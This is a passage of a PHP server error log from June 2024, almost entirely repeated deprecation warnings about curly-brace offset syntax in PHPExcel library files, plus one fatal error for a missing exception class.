/home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [28-Jun-2024 02:55:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 03:02:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 05:55:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 05:55:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 05:55:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 05:55:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 05:55:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 05:55:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 06:04:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 06:04:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 06:04:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 06:04:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 06:04:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 06:04:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 12:27:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 18:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 18:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 18:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 18:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 18:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 18:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 18:25:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 18:25:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 18:25:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 18:25:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 18:25:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 18:25:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:05:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:05:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:05:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:05:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:05:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:05:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:05:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:05:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 